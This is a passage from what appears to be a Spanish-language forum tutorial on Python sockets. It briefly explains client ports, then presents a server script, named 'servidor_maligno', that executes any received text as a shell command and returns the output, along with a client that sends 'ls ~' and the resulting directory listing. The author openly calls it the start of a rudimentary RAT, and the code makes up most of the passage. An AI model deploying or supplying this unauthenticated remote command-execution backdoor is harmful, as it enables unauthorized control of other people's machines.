PARTE 2
Si te das cuenta, el puerto que se muestra después de la dirección IP, es el puerto que el sistema operativo del cliente utilizó para establecer la conexión con el servidor. Éste puerto no es necesariamente el mismo puerto que el servidor utiliza para aceptar conexiones.
También, como podrás darte cuenta, es relativamente sencillo modificar el servidor para que ejecute comandos remotamente. Por ejemplo, si modificas el servidor para que ejecute comandos y regrese la salida de ese comando, puedes empezar a construir una RAT bastante rudimentaria:
Código python:
Ver original# servidor_maligno.py
import socket
import threading
from subprocess import Popen
from subprocess import PIPE
def administrar_clientes(socket_cliente):
peticion = socket_cliente.recv(1024)
print "[*] Mensaje recibido: %s" % peticion
respuesta = Popen(peticion, shell=True, stdout=PIPE).stdout.read()
# confirmar al cliente, que el mensaje fue recibido
socket_cliente.send(respuesta)
socket_cliente.close()
ip = "0.0.0.0"
puerto = 39421
max_conexiones = 5
servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
servidor.bind((ip, puerto))
servidor.listen(max_conexiones)
print "[*] Esperando conexiones en %s:%d" % (ip, puerto)
while True:
cliente, direccion = servidor.accept()
print "[*] Conexion establecida con %s:%d" % (direccion[0], direccion[1])
administrador_de_clientes = threading.Thread(target=administrar_clientes, args=(cliente,))
administrador_de_clientes.start()
Código python:
Ver original# cliente_maligno.py
import socket
servidor = "127.0.0.1"
puerto = 39421
cliente = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cliente.connect((servidor, puerto))
# solicitamos la lista de archivos del home del usuario
cliente.send("ls ~");
respuesta = cliente.recv(4096)
print respuesta
Código bash:
Ver original$ python cliente.py
Applications
Backups
Desktop
Documents
Downloads